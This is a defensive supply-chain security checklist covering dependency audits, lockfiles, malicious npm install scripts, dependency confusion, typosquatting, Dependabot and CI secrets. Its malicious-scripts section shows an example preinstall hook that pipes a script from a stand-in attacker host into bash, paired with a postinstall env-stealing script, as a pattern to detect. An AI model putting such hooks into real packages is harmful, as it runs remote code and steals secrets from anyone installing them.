16Deployment

Supply Chain

Supply Chain Security — Instruction 16

Coverage

CWE-1357 (Dependency on Vulnerable Package), OWASP A06:2021 npm, pip, composer, go modules — dependency attacks


Dependency Vulnerability Checks

1. Run Dependency Audit

# Node.js
npm audit
npm audit --json  # for programmatic parsing
yarn audit

# Python
pip-audit
safety check -r requirements.txt

# PHP
composer audit

# Go
govulncheck ./...

# Ruby
bundle audit

# Java
mvn dependency-check:check  # OWASP Dependency Check plugin

Flag any: Critical or High severity vulnerabilities

2. Outdated Dependencies

# Node.js
npm outdated

# Python
pip list --outdated

# Check for packages not updated in > 1 year (potential abandonment)

Lockfiles

3. Lockfile Committed to Git

// 🔴 No lockfile = non-deterministic installs = supply chain risk
// 🟢 Always commit:
package-lock.json    (npm)
yarn.lock            (yarn)
pnpm-lock.yaml       (pnpm)
Pipfile.lock         (pipenv)
poetry.lock          (poetry)
Gemfile.lock         (ruby)
go.sum               (go)

4. Lockfile Not Tampered

// 🔴 Lockfile manually edited (especially in PRs from unknown contributors)
// 🟢 Verify lockfile matches package.json:
npm ci  // fails if lockfile doesn't match package.json
// Never npm install in production (use npm ci)

Malicious Package Checks

5. npm Scripts (postinstall/preinstall)

// 🔴 Malicious package installs backdoor on npm install
// Check direct dependencies' package.json for dangerous scripts:
"scripts": {
  "preinstall": "curl https://evil.com/steal.sh | bash",
  "postinstall": "node ./steal-env.js"
}

// 🟢 Review scripts of new packages before adding
// 🟢 Use --ignore-scripts in CI (but may break some legit packages)
npm ci --ignore-scripts

// 🟢 Consider using socket.dev to scan packages for malicious behavior

6. Dependency Confusion Attack

// 🔴 Private package name collides with public npm package
// Attacker publishes @company/internal-pkg on public npm with higher version
// npm may download attacker's public version instead of private

// 🟢 Use scoped packages and configure registry
// .npmrc:
@company:registry=https://your-private-registry.com
// package.json:
"@company/internal-pkg": "^1.0.0"  // scoped = always from private registry

// 🟢 Add publishConfig to private packages to prevent accidental public publish
"publishConfig": { "registry": "https://your-private-registry.com" }

7. Typosquatting Detection

// Scan for packages with names similar to popular packages:
// lodahs, reqeust, monment, expres, axois, etc.
// Cross-reference against: https://socket.dev, npm audit
// Flag any package with:
// - Similar name to popular package but different publisher
// - Very recent publish date
// - 0 downloads but used in project

Dependabot / Automated Updates

8. Dependabot Configuration

Check .github/dependabot.yml exists. If not → create (Level 2):

version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "security"
    ignore:
      - dependency-name: "aws-sdk"
        update-types: ["version-update:semver-major"]

License Compliance

9. License Check

# Node.js
npx license-checker --onlyAllow 'MIT;ISC;Apache-2.0;BSD-2-Clause;BSD-3-Clause'

# Flag if project is commercial and uses GPL/AGPL packages
# GPL/AGPL in commercial SaaS = potential license violation

CI/CD Pipeline Security

10. Build Output Integrity

# GitHub Actions: verify build artifacts haven't been tampered
# Use actions/attest-build-provenance for SLSA compliance
- uses: actions/attest-build-provenance@v1
  with:
    subject-path: dist/

11. Secrets in CI Environment

# Scan CI configuration files for hardcoded secrets:
.github/workflows/*.yml
.gitlab-ci.yml
Jenkinsfile
.circleci/config.yml

# 🔴 Hardcoded secret in CI config
env:
  API_KEY: sk_live_abc123  # 🔴

# 🟢 Use secrets store
env:
  API_KEY: ${{ secrets.API_KEY }}